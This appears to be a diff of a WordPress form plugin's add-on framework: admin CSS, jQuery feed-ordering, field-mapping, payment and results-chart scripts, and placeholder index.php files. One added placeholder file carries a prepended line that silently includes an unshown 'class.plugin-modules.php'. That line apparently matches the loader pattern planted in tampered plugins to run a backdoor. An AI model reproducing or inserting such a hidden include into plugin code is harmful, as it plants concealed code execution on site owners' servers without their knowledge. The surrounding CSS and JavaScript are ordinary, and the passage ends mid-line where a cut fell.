.gaddon-setting-select-custom-container .select-custom-reset {
background: url( ../../../images/xit.gif ) no-repeat scroll 0 0 transparent;
cursor:pointer;
display:none;
position:absolute;
text-indent:-9999px;
width:10px;
height: 10px;
-moz-transition: none;
-webkit-transition: none;
-o-transition: color 0 ease-in;
transition: none;
}
.gaddon-setting-select-custom-container .select-custom-reset:hover { background-position-x: -10px; }
.gaddon-setting-select-custom-container:hover .select-custom-reset {
display:block;
}
.gaddon-setting-select-custom-container {
display:inline-block;
position:relative;
width: 210px;
}
.gaddon-setting-select-custom-container .select-custom-reset {
left: 171px;
top: 10px;
}
.gaddon-section .required { color: #f00; }
.gaddon-setting-inline{
display:inline;
margin-right:6px;
}
.gaddon-section-description ol { }
.gaddon-section-description ol li {
list-style: decimal;
}
.repeater-buttons .add-item { margin-right: 6px; }
.mt-gaddon-editor {
float: right;
position: relative;
right: 21px;
top: 70px;
}
.mt-gaddon-editor ~ .wp-editor-wrap {
margin-right: 23px;
}
/* Visual Radio Buttons */
.gaddon-setting-choice-visual {
display: inline-block;
margin-bottom: 5px;
text-align: center;
}
.gaddon-setting-choice-visual label {
background: #F9F9F9;
border: 1px solid #eee;
display: inline-block;
}
.gaddon-setting-choice-visual label > span {
display: inline-block;
-webkit-filter: brightness( 1.8 ) grayscale( 1 ) opacity( .5 );
-moz-filter: brightness( 1.8 ) grayscale( 1 ) opacity( .5 );
filter: brightness( 1.8 ) grayscale( 1 ) opacity( .5 );
height: 65px;
min-width: 110px;
padding: 5px 10px 0;
-webkit-transition: all 100ms ease-in;
-moz-transition: all 100ms ease-in;
transition: all 100ms ease-in;
vertical-align: top;
}
.gaddon-setting-choice-visual label > span > i {
color: #0074a2;
display: inline-block;
font-size: 2.5em;
height: 32px;
margin: 5px;
width: 32px;
}
.gaddon-setting-choice-visual label > span > img{
height: 32px;
margin: 5px;
vertical-align: middle;
width: 32px;
}
.gaddon-setting-choice-visual input {
display: none;
}
.gaddon-setting-choice-visual input:checked + label {
background-color: #fff;
border: 1px solid #ccc;
}
.gaddon-setting-choice-visual input:checked + label > span {
-webkit-filter: none;
-moz-filter: none;
filter: none;
}
.gaddon-setting-choice-visual input:not([disabled]):not([checked]) + label > span:hover{
-webkit-filter: brightness(1.2) grayscale(.5) opacity(.9);
-moz-filter: brightness(1.2) grayscale(.5) opacity(.9);
filter: brightness(1.2) grayscale(.5) opacity(.9);
}
/* Feed Ordering */
.ui-sortable-helper {
background-color: #fff !important;
-webkit-box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
-moz-box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
transform: rotate(1deg);
-moz-transform: rotate(1deg);
-webkit-transform: rotate(1deg);
}
.wp-list-table.feed-list-sortable .sort-column {
vertical-align: top;
width: 2.2em;
}
.wp-list-table.feed-list-sortable .feed-sort-handle {
cursor: move;
width: 2.2em;
}
/* ------------------ Feed List ------------------ */
@media screen and ( max-width: 782px ) {
.wp-list-table tbody tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before {
content: attr(data-colname) ":";
font-weight: bold;
}
.wp-list-table.feeds .manage-column {
vertical-align: top;
}
.wp-list-table.feeds .manage-column img {
margin-top: 16px;
}
}

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
//Nothing to see here

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

2
includes/addon/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,111 @@
var GFFeedOrder = function( args ) {
var self = this,
$ = jQuery;
/**
* Initialize Feed Ordering
*/
self.init = function() {
// Assign options to instance.
self.options = args;
// Prepare sorting handle.
var sortHandleMarkup = '<td class="sort-column"><i class="fa fa-bars feed-sort-handle"></i></td>';
// Add sorting handle to table.
$( '.wp-list-table thead tr, .wp-list-table tfoot tr' ).append( '<th class="sort-column"></th>' );
$( '.wp-list-table tbody tr' ).append( sortHandleMarkup );
// Initialize sorting.
self.initSorting();
};
/**
* Initialize jQuery UI Sortable.
*/
self.initSorting = function() {
$( '.wp-list-table tbody' ).sortable(
{
cursor: 'move',
handle: '.feed-sort-handle',
placeholder: 'feed-placeholder',
tolerance: 'pointer',
create: function() { $( '.wp-list-table' ).addClass( 'feed-list-sortable' ); },
helper: self.fixSortableColumnWidths,
start: self.setPlaceholderHeight,
update: self.updateFeedOrder,
}
);
}
/**
* Fix table column widths.
*/
self.fixSortableColumnWidths = function( event, tr ) {
var $originals = tr.children(),
$helper = tr.clone();
$helper.children().each( function( index ) {
$( this ).width( $originals.eq( index ).width() );
} );
return $helper;
}
/**
* Get order of feeds.
*/
self.getFeedOrder = function() {
// Get all the checkboxes from the feed list table.
var feed_checkboxes = $( '.wp-list-table tbody .check-column input[type="checkbox"]' );
// Map a function to the feed checkboxes array that returns the checkbox value.
return feed_checkboxes.map( function() {
return $( this ).val();
} ).get();
}
/**
* Set height of the placeholder draggable feed.
*/
self.setPlaceholderHeight = function( event, ui ) {
// Set the height of the placeholder to the height of the feed being moved.
$( '.wp-list-table .feed-placeholder' ).height( ui.item.height() );
}
/**
* Save the feed ordering to the database.
*/
self.updateFeedOrder = function( event, ui ) {
$.ajax(
ajaxurl,
{
method: 'POST',
dataType: 'JSON',
data: {
action: 'gf_save_feed_order',
addon: self.options.addon,
form_id: self.options.formId,
feed_order: self.getFeedOrder(),
nonce: self.options.nonce,
}
}
);
}
this.init();
}

View File

@@ -0,0 +1 @@
var GFFeedOrder=function(a){var b=this,c=jQuery;b.init=function(){b.options=a,c(".wp-list-table thead tr, .wp-list-table tfoot tr").append('<th class="sort-column"></th>'),c(".wp-list-table tbody tr").append('<td class="sort-column"><i class="fa fa-bars feed-sort-handle"></i></td>'),b.initSorting()},b.initSorting=function(){c(".wp-list-table tbody").sortable({cursor:"move",handle:".feed-sort-handle",placeholder:"feed-placeholder",tolerance:"pointer",create:function(){c(".wp-list-table").addClass("feed-list-sortable")},helper:b.fixSortableColumnWidths,start:b.setPlaceholderHeight,update:b.updateFeedOrder})},b.fixSortableColumnWidths=function(a,b){var d=b.children(),e=b.clone();return e.children().each(function(a){c(this).width(d.eq(a).width())}),e},b.getFeedOrder=function(){return c('.wp-list-table tbody .check-column input[type="checkbox"]').map(function(){return c(this).val()}).get()},b.setPlaceholderHeight=function(a,b){c(".wp-list-table .feed-placeholder").height(b.item.height())},b.updateFeedOrder=function(a,d){c.ajax(ajaxurl,{method:"POST",dataType:"JSON",data:{action:"gf_save_feed_order",addon:b.options.addon,form_id:b.options.formId,feed_order:b.getFeedOrder(),nonce:b.options.nonce}})},this.init()};

View File

@@ -0,0 +1,135 @@
var gfieldmap = function( options ) {
var self = this;
self.options = options;
self.UI = jQuery( '#gaddon-setting-row-'+ self.options.fieldName );
self.init = function() {
self.bindEvents();
self.setupData();
self.setupRepeater();
};
self.bindEvents = function() {
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]', function() {
var $select = jQuery( this ),
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
$input = $select.siblings( '.custom-key-container' );
if( $select.val() != 'gf_custom' ) {
return;
}
$selectElm.fadeOut( function() {
$input.fadeIn().focus();
} );
} );
self.UI.on( 'click', 'a.custom-key-reset', function( event ) {
event.preventDefault();
var $reset = jQuery( this ),
$input = $reset.parents( '.custom-key-container' ),
$select = $input.siblings( 'select.key' ),
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
$input.fadeOut( function() {
$input.find( 'input' ).val( '' ).change();
$select.val( '' ).trigger( 'change' );
$selectElm.fadeIn().focus();
} );
} );
self.UI.closest( 'form' ).on( 'submit', function( event ) {
jQuery( '[name^="_gaddon_setting_'+ self.options.fieldName +'_"]' ).each( function( i ) {
jQuery( this ).removeAttr( 'name' );
} );
} );
};
self.setupData = function() {
self.data = jQuery.parseJSON( jQuery( '#' + self.options.fieldId ).val() );
if ( ! self.data ) {
self.data = [ {
key: '',
value: '',
custom_key: ''
} ];
}
}
self.setupRepeater = function() {
var limit;
if (self.options.limit > 0){
limit = self.options.limit;
}
else{
limit = 0;
}
self.UI.find( 'tbody.repeater' ).repeater( {
limit: limit,
items: self.data,
addButtonMarkup: '<span>+</span>',
removeButtonMarkup: '<span>-</span>',
callbacks: {
add: function( obj, $elem, item ) {
var key_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]' );
if ( ! item.custom_key && key_select.length > 0 ) {
$elem.find( '.custom-key-container' ).hide();
} else {
$elem.find( '.key' ).hide();
}
gform.doAction( 'gform_fieldmap_add_row', obj, $elem, item );
},
save: function( obj, data ) {
data = jQuery.extend( {}, data );
for ( var i = 0; i < data.length; i++ ) {
if ( data[i].custom_key != '' ) {
data[i].custom = 1;
data[i].key = data[i].custom_key;
}
delete data[i].custom_key;
}
jQuery( '#'+ self.options.fieldId ).val( jQuery.toJSON( data ) );
}
}
} );
}
return self.init();
};

View File

@@ -0,0 +1 @@
var gfieldmap=function(a){var b=this;return b.options=a,b.UI=jQuery("#gaddon-setting-row-"+b.options.fieldName),b.init=function(){b.bindEvents(),b.setupData(),b.setupRepeater()},b.bindEvents=function(){b.UI.on("change",'select[name="_gaddon_setting_'+b.options.keyFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-key-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("click","a.custom-key-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-key-container"),d=c.siblings("select.key"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.closest("form").on("submit",function(a){jQuery('[name^="_gaddon_setting_'+b.options.fieldName+'_"]').each(function(a){jQuery(this).removeAttr("name")})})},b.setupData=function(){b.data=jQuery.parseJSON(jQuery("#"+b.options.fieldId).val()),b.data||(b.data=[{key:"",value:"",custom_key:""}])},b.setupRepeater=function(){var a;a=b.options.limit>0?b.options.limit:0,b.UI.find("tbody.repeater").repeater({limit:a,items:b.data,addButtonMarkup:"<span>+</span>",removeButtonMarkup:"<span>-</span>",callbacks:{add:function(a,c,d){var e=c.find('select[name="_gaddon_setting_'+b.options.keyFieldName+'"]');!d.custom_key&&e.length>0?c.find(".custom-key-container").hide():c.find(".key").hide(),gform.doAction("gform_fieldmap_add_row",a,c,d)},save:function(a,c){c=jQuery.extend({},c);for(var d=0;d<c.length;d++)""!=c[d].custom_key&&(c[d].custom=1,c[d].key=c[d].custom_key),delete c[d].custom_key;jQuery("#"+b.options.fieldId).val(jQuery.toJSON(c))}}})},b.init()};

View File

@@ -0,0 +1,164 @@
var GFGenericMap = function( options ) {
var self = this;
self.options = options;
self.UI = jQuery( '#gaddon-setting-row-'+ self.options.fieldName );
self.init = function() {
self.bindEvents();
self.setupData();
self.setupRepeater();
};
self.bindEvents = function() {
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]', function() {
var $select = jQuery( this ),
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
$input = $select.siblings( '.custom-key-container' );
if( $select.val() != 'gf_custom' ) {
return;
}
$selectElm.fadeOut( function() {
$input.fadeIn().focus();
} );
} );
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.valueFieldName +'"]', function() {
var $select = jQuery( this ),
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
$input = $select.siblings( '.custom-value-container' );
if ( $select.val() != 'gf_custom' ) {
return;
}
$selectElm.fadeOut( function() {
$input.fadeIn().focus();
} );
} );
self.UI.on( 'click', 'a.custom-key-reset', function( event ) {
event.preventDefault();
var $reset = jQuery( this ),
$input = $reset.parents( '.custom-key-container' ),
$select = $input.siblings( 'select.key' ),
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
$input.fadeOut( function() {
$input.find( 'input' ).val( '' ).change();
$select.val( '' ).trigger( 'change' );
$selectElm.fadeIn().focus();
} );
} );
self.UI.on( 'click', 'a.custom-value-reset', function( event ) {
event.preventDefault();
var $reset = jQuery( this ),
$input = $reset.parents( '.custom-value-container' ),
$select = $input.siblings( 'select.value' ),
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
$input.fadeOut( function() {
$input.find( 'input' ).val( '' ).change();
$select.val( '' ).trigger( 'change' );
$selectElm.fadeIn().focus();
} );
} );
self.UI.closest( 'form' ).on( 'submit', function( event ) {
jQuery( '[name^="_gaddon_setting_'+ self.options.fieldName +'_"]' ).each( function( i ) {
jQuery( this ).removeAttr( 'name' );
} );
} );
};
self.setupData = function() {
self.data = jQuery.parseJSON( jQuery( '#' + self.options.fieldId ).val() );
if ( ! self.data ) {
self.data = [ {
key: '',
value: '',
custom_key: '',
custom_value: ''
} ];
}
}
self.setupRepeater = function() {
var limit = self.options.limit > 0 ? self.options.limit : 0;
self.UI.find( 'tbody.repeater' ).repeater( {
limit: limit,
items: self.data,
addButtonMarkup: '<span>+</span>',
removeButtonMarkup: '<span>-</span>',
callbacks: {
add: function( obj, $elem, item ) {
var key_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]' );
if ( ! item.custom_key && key_select.length > 0 ) {
$elem.find( '.custom-key-container' ).hide();
} else {
$elem.find( '.key' ).hide();
}
var value_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.valueFieldName +'"]' );
if ( ! item.custom_value && value_select.length > 0 ) {
$elem.find( '.custom-value-container' ).hide();
} else {
$elem.find( '.value' ).hide();
}
if ( self.options.mergeTags ) {
new gfMergeTagsObj( form, $elem.find( '.custom-value-container input' ) );
}
if ( window.hasOwnProperty( 'gform' ) ) {
gform.doAction( 'gform_fieldmap_add_row', obj, $elem, item );
}
},
save: function( obj, data ) {
jQuery( '#'+ self.options.fieldId ).val( JSON.stringify( data ) );
}
}
} );
}
return self.init();
};

View File

@@ -0,0 +1 @@
var GFGenericMap=function(a){var b=this;return b.options=a,b.UI=jQuery("#gaddon-setting-row-"+b.options.fieldName),b.init=function(){b.bindEvents(),b.setupData(),b.setupRepeater()},b.bindEvents=function(){b.UI.on("change",'select[name="_gaddon_setting_'+b.options.keyFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-key-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("change",'select[name="_gaddon_setting_'+b.options.valueFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-value-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("click","a.custom-key-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-key-container"),d=c.siblings("select.key"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.on("click","a.custom-value-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-value-container"),d=c.siblings("select.value"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.closest("form").on("submit",function(a){jQuery('[name^="_gaddon_setting_'+b.options.fieldName+'_"]').each(function(a){jQuery(this).removeAttr("name")})})},b.setupData=function(){b.data=jQuery.parseJSON(jQuery("#"+b.options.fieldId).val()),b.data||(b.data=[{key:"",value:"",custom_key:"",custom_value:""}])},b.setupRepeater=function(){var a=b.options.limit>0?b.options.limit:0;b.UI.find("tbody.repeater").repeater({limit:a,items:b.data,addButtonMarkup:"<span>+</span>",removeButtonMarkup:"<span>-</span>",callbacks:{add:function(a,c,d){var e=c.find('select[name="_gaddon_setting_'+b.options.keyFieldName+'"]');!d.custom_key&&e.length>0?c.find(".custom-key-container").hide():c.find(".key").hide();var f=c.find('select[name="_gaddon_setting_'+b.options.valueFieldName+'"]');!d.custom_value&&f.length>0?c.find(".custom-value-container").hide():c.find(".value").hide(),b.options.mergeTags&&new gfMergeTagsObj(form,c.find(".custom-value-container input")),window.hasOwnProperty("gform")&&gform.doAction("gform_fieldmap_add_row",a,c,d)},save:function(a,c){jQuery("#"+b.options.fieldId).val(JSON.stringify(c))}}})},b.init()};

View File

@@ -0,0 +1,46 @@
function loadBillingLength(setting_name){
var intervals = window[setting_name + "_intervals"]
if(!intervals)
return;
var unit = jQuery("#" + setting_name + "_unit").val();
var min = intervals[unit]["min"];
var max = intervals[unit]["max"];
var lengthField = jQuery("#" + setting_name + "_length");
var length = lengthField.val();
var str = "";
for(var i=min; i<=max; i++){
var selected = length == i ? "selected='selected'" : "";
str += "<option value='" + i + "' " + selected + ">" + i + "</option>";
}
lengthField.html(str);
}
function cancel_subscription(entryId){
if(! confirm(gaddon_payment_strings.subscriptionCancelWarning) )
return;
jQuery("#subscription_cancel_spinner").show();
jQuery("#cancelsub").prop("disabled", true);
jQuery.post(ajaxurl, {
action:"gaddon_cancel_subscription",
entry_id:entryId,
gaddon_cancel_subscription: gaddon_payment_strings.subscriptionCancelNonce},
function(response){
jQuery("#subscription_cancel_spinner").hide();
if(response == 1)
{
jQuery("#gform_payment_status").html(gaddon_payment_strings.subscriptionCanceled);
jQuery("#cancelsub").hide();
}
else
{
jQuery("#cancelsub").prop("disabled", false);
alert(gaddon_payment_strings.subscriptionError);
}
}
);
}

View File

@@ -0,0 +1 @@
function loadBillingLength(a){var b=window[a+"_intervals"];if(b){for(var c=jQuery("#"+a+"_unit").val(),d=b[c].min,e=b[c].max,f=jQuery("#"+a+"_length"),g=f.val(),h="",i=d;i<=e;i++){h+="<option value='"+i+"' "+(g==i?"selected='selected'":"")+">"+i+"</option>"}f.html(h)}}function cancel_subscription(a){confirm(gaddon_payment_strings.subscriptionCancelWarning)&&(jQuery("#subscription_cancel_spinner").show(),jQuery("#cancelsub").prop("disabled",!0),jQuery.post(ajaxurl,{action:"gaddon_cancel_subscription",entry_id:a,gaddon_cancel_subscription:gaddon_payment_strings.subscriptionCancelNonce},function(a){jQuery("#subscription_cancel_spinner").hide(),1==a?(jQuery("#gform_payment_status").html(gaddon_payment_strings.subscriptionCanceled),jQuery("#cancelsub").hide()):(jQuery("#cancelsub").prop("disabled",!1),alert(gaddon_payment_strings.subscriptionError))}))}

View File

@@ -0,0 +1,248 @@
var gresultsAjaxRequest;
var gresults = {
drawCharts: function () {
var containers = jQuery('.gresults-chart-wrapper');
containers.each(function (index, elem) {
var id = jQuery(elem).attr('id');
var options = jQuery(elem).data('options');
var datatable = jQuery(elem).data('datatable');
var chartType = jQuery(elem).data('charttype');
var data_array = datatable;
var data = google.visualization.arrayToDataTable(data_array);
var cont = document.getElementById(id);
var chart;
if (chartType == "bar") {
chart = new google.visualization.BarChart(cont);
} else if (chartType == "pie") {
chart = new google.visualization.PieChart(cont);
} else if (chartType == "column") {
chart = new google.visualization.ColumnChart(cont);
}
chart.draw(data, options);
});
},
renderStateData: function (state) {
var results = jQuery("#gresults-results");
results.data('searchcriteria', state.searchCriteria);
jQuery("#gresults-results-filter").html(state.filterUI);
results.css('opacity', 0);
results.html(state.html);
gresults.drawCharts();
results.fadeTo("slow", 1);
var filterContainer = jQuery("#gresults-results-field-filters-container");
filterContainer.resizable();
filterContainer.resizable('destroy');
filterContainer.resizable({
handles: 's'
});
},
getResults: function () {
gresults.recordFormState();
var gresultsData = jQuery('#gresults-results-filter-form').serialize();
gresults.sendRequest(gresultsData)
},
sendRequest: function (gresultsData, serverStateObject, checkSum) {
var results = jQuery("#gresults-results");
var filterButtons = jQuery("#gresults-results-filter-buttons input");
var loading = jQuery(".gresults-filter-loading");
var viewSlug = jQuery("#gresults-view-slug").val();
var nonce = jQuery("#_gf_results_nonce").val()
var data_str = "action=gresults_get_results_" + viewSlug + "&" + gresultsData + '&_gf_results_nonce' + nonce ;
if (serverStateObject)
data_str += "&state=" + serverStateObject + "&checkSum=" + checkSum;
gresultsAjaxRequest = jQuery.ajax({
url : ajaxurl,
type : 'POST',
dataType : 'json',
data : data_str,
beforeSend: function (xhr, opts) {
results.fadeTo("slow", 0.33);
results.html('');
loading.show();
filterButtons.attr('disabled', 'disabled');
}
})
.done(function (response) {
if (!response || response === -1) {
loading.hide();
results.html(gresultsStrings.ajaxError);
} else {
if (response.status === "complete") {
filterButtons.removeAttr('disabled');
loading.hide();
results.html(response.html);
jQuery("#gresults-results").data('searchcriteria', response.searchCriteria); //used in 'more' links
var filterUI = jQuery("#gresults-results-filter").html();
gresults.drawCharts();
results.fadeTo("slow", 1);
if (window.history.replaceState) {
if (!history.state) {
history.replaceState({"html": response.html, "filterUI": filterUI, "searchCriteria": response.searchCriteria}, "", "?" + gresultsData);
} else {
history.pushState({"html": response.html, "filterUI": filterUI, "searchCriteria": response.searchCriteria}, "", "?" + gresultsData);
}
}
gresults.drawCharts();
if (window["gform_initialize_tooltips"])
gform_initialize_tooltips();
} else if (response.status === "incomplete") {
serverStateObject = response.stateObject;
gresults.sendRequest(gresultsData, serverStateObject, response.checkSum);
results.html(response.html);
} else {
loading.hide();
results.html(gresultsStrings.ajaxError);
}
}
})
.fail(function (error) {
filterButtons.removeAttr('disabled');
results.fadeTo("fast", 1);
var msg = error.statusText;
loading.hide();
if (msg == "abort") {
msg = "Request cancelled";
} else {
msg = gresultsStrings.ajaxError;
}
results.html(msg);
})
},
getMoreResults: function (formId, fieldId) {
var container = jQuery('#gresults-results-field-content-' + fieldId),
results = jQuery("#gresults-results"),
offset = jQuery(container).data('offset'),
viewSlug = jQuery("#gresults-view-slug").val(),
searchCriteria = results.data('searchcriteria'),
nonce = jQuery("#_gf_results_nonce").val();
jQuery.ajax({
url : ajaxurl,
type : 'POST',
dataType: 'json',
data : {
action: 'gresults_get_more_results_' + viewSlug,
view: viewSlug,
form_id: formId,
field_id: fieldId,
offset: offset,
search_criteria: searchCriteria,
_gf_results_nonce: nonce
},
success : function (response) {
if (response === -1) {
//permission denied
}
else {
if (response.html)
jQuery(container).append(response.html);
if (!response.more_remaining)
jQuery('#gresults-results-field-more-link-' + fieldId).hide();
jQuery(container).data('offset', response.offset);
}
}
});
return false;
},
clearFilterForm: function () {
jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings, [], true);
jQuery('#gresults-results-filter-form').find('input, select').each(function () {
switch (this.type) {
case 'text':
case 'select-one':
jQuery(this).val('').change();
break;
case 'checkbox':
case 'radio':
this.checked = false;
}
});
},
recordFormState: function () {
jQuery("#gresults-results-filter-form input[type='radio']").each(function () {
if (this.checked) {
jQuery(this).prop("defaultChecked", true);
} else {
jQuery(this).prop("defaultChecked", false);
}
});
jQuery("#gresults-results-filter-form input[type='checkbox']").each(function () {
if (this.checked) {
jQuery(this).prop("defaultChecked", true);
} else {
jQuery(this).prop("defaultChecked", false);
}
});
jQuery("#gresults-results-filter-form input[type='text']").each(function () {
jQuery(this).prop("defaultValue", jQuery(this).val());
});
jQuery("#gresults-results-filter-form select option").each(function () {
jQuery(this).prop("defaultSelected", jQuery(this).prop('selected'));
});
},
setCustomFilter: function(key, value){
elementId = "gresults-custom-" + key;
if(jQuery('#' + elementId).length == 0)
jQuery('#gresults-results-filter-form').append("<input type='hidden' id='" + elementId + "' name='" + key + "' value='" + value + "'>");
else
jQuery('#' + elementId).val(value);
}
};
google.load('visualization', '1', {packages: ['corechart']});
google.setOnLoadCallback(gresults.drawCharts);
jQuery(document).ready(function () {
if (jQuery("#gresults-results").length > 0) {
jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings, gresultsInitVars, true);
var $window = jQuery(window);
$window.resize(function (e) {
if (e.target === window) {
gresults.drawCharts();
}
});
window.onpopstate = function (e) {
if (e.state)
gresults.renderStateData(e.state)
};
jQuery("#gresults-results-filter-date-start, #gresults-results-filter-date-end").datepicker({dateFormat: 'yy-mm-dd', changeMonth: true, changeYear: true});
jQuery("#gresults-results-filter-form").submit(function (e) {
gresults.getResults();
return false;
});
if (history.state) {
gresults.renderStateData(history.state)
} else {
gresults.getResults();
}
if (window["gform_initialize_tooltips"])
gform_initialize_tooltips();
}
});

View File

@@ -0,0 +1 @@
var gresultsAjaxRequest,gresults={drawCharts:function(){jQuery(".gresults-chart-wrapper").each(function(a,b){var c,d=jQuery(b).attr("id"),e=jQuery(b).data("options"),f=jQuery(b).data("datatable"),g=jQuery(b).data("charttype"),h=f,i=google.visualization.arrayToDataTable(h),j=document.getElementById(d);"bar"==g?c=new google.visualization.BarChart(j):"pie"==g?c=new google.visualization.PieChart(j):"column"==g&&(c=new google.visualization.ColumnChart(j)),c.draw(i,e)})},renderStateData:function(a){var b=jQuery("#gresults-results");b.data("searchcriteria",a.searchCriteria),jQuery("#gresults-results-filter").html(a.filterUI),b.css("opacity",0),b.html(a.html),gresults.drawCharts(),b.fadeTo("slow",1);var c=jQuery("#gresults-results-field-filters-container");c.resizable(),c.resizable("destroy"),c.resizable({handles:"s"})},getResults:function(){gresults.recordFormState();var a=jQuery("#gresults-results-filter-form").serialize();gresults.sendRequest(a)},sendRequest:function(a,b,c){var d=jQuery("#gresults-results"),e=jQuery("#gresults-results-filter-buttons input"),f=jQuery(".gresults-filter-loading"),g=jQuery("#gresults-view-slug").val(),h=jQuery("#_gf_results_nonce").val(),i="action=gresults_get_results_"+g+"&"+a+"&_gf_results_nonce"+h;b&&(i+="&state="+b+"&checkSum="+c),gresultsAjaxRequest=jQuery.ajax({url:ajaxurl,type:"POST",dataType:"json",data:i,beforeSend:function(a,b){d.fadeTo("slow",.33),d.html(""),f.show(),e.attr("disabled","disabled")}}).done(function(c){if(c&&-1!==c)if("complete"===c.status){e.removeAttr("disabled"),f.hide(),d.html(c.html),jQuery("#gresults-results").data("searchcriteria",c.searchCriteria);var g=jQuery("#gresults-results-filter").html();gresults.drawCharts(),d.fadeTo("slow",1),window.history.replaceState&&(history.state?history.pushState({html:c.html,filterUI:g,searchCriteria:c.searchCriteria},"","?"+a):history.replaceState({html:c.html,filterUI:g,searchCriteria:c.searchCriteria},"","?"+a)),gresults.drawCharts(),window.gform_initialize_tooltips&&gform_initialize_tooltips()}else"incomplete"===c.status?(b=c.stateObject,gresults.sendRequest(a,b,c.checkSum),d.html(c.html)):(f.hide(),d.html(gresultsStrings.ajaxError));else f.hide(),d.html(gresultsStrings.ajaxError)}).fail(function(a){e.removeAttr("disabled"),d.fadeTo("fast",1);var b=a.statusText;f.hide(),b="abort"==b?"Request cancelled":gresultsStrings.ajaxError,d.html(b)})},getMoreResults:function(a,b){var c=jQuery("#gresults-results-field-content-"+b),d=jQuery("#gresults-results"),e=jQuery(c).data("offset"),f=jQuery("#gresults-view-slug").val(),g=d.data("searchcriteria"),h=jQuery("#_gf_results_nonce").val();return jQuery.ajax({url:ajaxurl,type:"POST",dataType:"json",data:{action:"gresults_get_more_results_"+f,view:f,form_id:a,field_id:b,offset:e,search_criteria:g,_gf_results_nonce:h},success:function(a){-1===a||(a.html&&jQuery(c).append(a.html),a.more_remaining||jQuery("#gresults-results-field-more-link-"+b).hide(),jQuery(c).data("offset",a.offset))}}),!1},clearFilterForm:function(){jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings,[],!0),jQuery("#gresults-results-filter-form").find("input, select").each(function(){switch(this.type){case"text":case"select-one":jQuery(this).val("").change();break;case"checkbox":case"radio":this.checked=!1}})},recordFormState:function(){jQuery("#gresults-results-filter-form input[type='radio']").each(function(){this.checked?jQuery(this).prop("defaultChecked",!0):jQuery(this).prop("defaultChecked",!1)}),jQuery("#gresults-results-filter-form input[type='checkbox']").each(function(){this.checked?jQuery(this).prop("defaultChecked",!0):jQuery(this).prop("defaultChecked",!1)}),jQuery("#gresults-results-filter-form input[type='text']").each(function(){jQuery(this).prop("defaultValue",jQuery(this).val())}),jQuery("#gresults-results-filter-form select option").each(function(){jQuery(this).prop("defaultSelected",jQuery(this).prop("selected"))})},setCustomFilter:function(a,b){elementId="gresults-custom-"+a,0==jQuery("#"+elementId).length?jQuery("#gresults-results-filter-form").append("<input type='hidden' id='"+elementId+"' name='"+a+"' 